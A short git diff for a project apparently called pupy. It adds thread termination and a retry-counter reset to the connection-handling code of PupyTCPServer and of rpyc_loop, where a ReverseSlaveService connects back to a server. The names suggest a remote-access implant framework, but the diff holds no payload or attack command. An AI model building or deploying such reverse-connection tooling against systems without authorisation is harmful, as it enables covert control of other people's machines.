diff --git a/pupy/network/lib/servers.py b/pupy/network/lib/servers.py index 21367ce9..85ff0f16 100755 --- a/pupy/network/lib/servers.py +++ b/pupy/network/lib/servers.py @@ -123,6 +123,7 @@ class PupyTCPServer(ThreadPoolServer): pass finally: event.set() + t.terminate() return c class PupyUDPServer(object): diff --git a/pupy/pp.py b/pupy/pp.py index 90a89b47..ab7b9b46 100755 --- a/pupy/pp.py +++ b/pupy/pp.py @@ -234,6 +234,8 @@ def rpyc_loop(launcher): conn=rpyc.utils.factory.connect_stream(stream, ReverseSlaveService, {}) finally: event.set() + t.terminate() + attempt=0 conn.serve_all() except KeyboardInterrupt: